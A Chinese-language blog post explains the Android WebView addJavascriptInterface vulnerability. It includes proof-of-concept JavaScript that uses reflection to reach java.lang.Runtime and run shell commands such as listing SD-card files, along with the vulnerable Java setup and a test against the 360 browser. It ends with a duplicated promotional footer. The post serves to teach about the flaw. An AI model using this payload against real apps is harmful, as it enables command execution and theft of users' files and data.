简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。
2,漏洞描述
通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述: 猛点这里
1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.
3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:
[javascript] view plain copy
-
function execute(cmdArgs)
-
{
-
for (var obj in window) {
-
if (“getClass” in window[obj]) {
-
alert(obj);
-
return window[obj].getClass().forName(“java.lang.Runtime”)
-
.getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
-
}
-
}
-
}
function execute(cmdArgs)
{
for (var obj in window) {
if (“getClass” in window[obj]) {
alert(obj);
return window[obj].getClass().forName(“java.lang.Runtime”)
.getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
}
}
}
3,漏洞证明
**举例一:**为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
[html] view plain copy
-
<html>
-
<head>
-
<meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>
-
<script>
-
var i=0;
-
function getContents(inputStream)
-
{
-
var contents = “”+i;
-
var b = inputStream.read();
-
var i = 1;
-
while(b != -1) {
-
var bString = String.fromCharCode(b);
-
contents += bString;
-
contents += ”\n”
-
b = inputStream.read();
-
}
-
i=i+1;
-
return contents;
-
}
-
function execute(cmdArgs)
-
{
-
for (var obj in window) {
-
console.log(obj);
-
if (“getClass” in window[obj]) {
-
alert(obj);
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
-
}
-
}
-
}
-
var p = execute([“ls”,”/mnt/sdcard/”]);
-
document.write(getContents(p.getInputStream()));
-
</script>
-
<script language=“javascript”>
-
function onButtonClick()
-
{
-
// Call the method of injected object from Android source.
-
var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);
-
alert(text);
-
}
-
function onImageClick()
-
{
-
//Call the method of injected object from Android source.
-
var src = document.getElementById(“image”).src;
-
var width = document.getElementById(“image”).width;
-
var height = document.getElementById(“image”).height;
-
// Call the method of injected object from Android source.
-
jsInterface.onImageClick(src, width, height);
-
}
-
</script>
-
</head>
-
<body>
-
<p>点击图片把URL传到Java代码</p>
-
<img class=“curved_box” id=“image”
-
οnclick=“onImageClick()”
-
width=“328”
-
height=“185”
-
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
-
οnerrοr=“this.src=’background_chl.jpg’”/>
-
</p>
-
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>
-
</body>
-
</html>
点击图片把URL传到Java代码
<img class=“curved_box” id=“image”
οnclick=“onImageClick()”
width=“328”
height=“185”
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
οnerrοr=“this.src=‘background_chl.jpg’”/>
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互
这段HTML的运行效果如下:
图一:期望运行结果图
上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
[javascript] view plain copy
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
return window[obj].getClass().forName(“java.lang.Runtime”).
getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
[java] view plain copy
-
mWebView = (WebView) findViewById(R.id.webview);
-
mWebView.getSettings().setJavaScriptEnabled(true);
-
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
-
mWebView.loadUrl(”file:///android_asset/html/test.html”);
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
mWebView.loadUrl(“file:///android_asset/html/test.html”);
需要添加的权限:
[html] view plain copy
-
<uses-permission android:name=“android.permission.INTERNET”/>
-
<uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />
-
<uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
最后
在这里小编整理了一份Android大厂常见面试题,和一些Android架构视频解析,都已整理成文档,全部都已打包好了,希望能够对大家有所帮助,在面试中能顺利通过。
喜欢本文的话,不妨顺手给我点个小赞、评论区留言或者转发支持一下呗
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGVlaG9uZzIwMDU=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center)
最后
在这里小编整理了一份Android大厂常见面试题,和一些Android架构视频解析,都已整理成文档,全部都已打包好了,希望能够对大家有所帮助,在面试中能顺利通过。
[外链图片转存中…(img-Pk1fLNWy-1714299871904)]
[外链图片转存中…(img-9yXh0J9w-1714299871905)]
喜欢本文的话,不妨顺手给我点个小赞、评论区留言或者转发支持一下呗
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!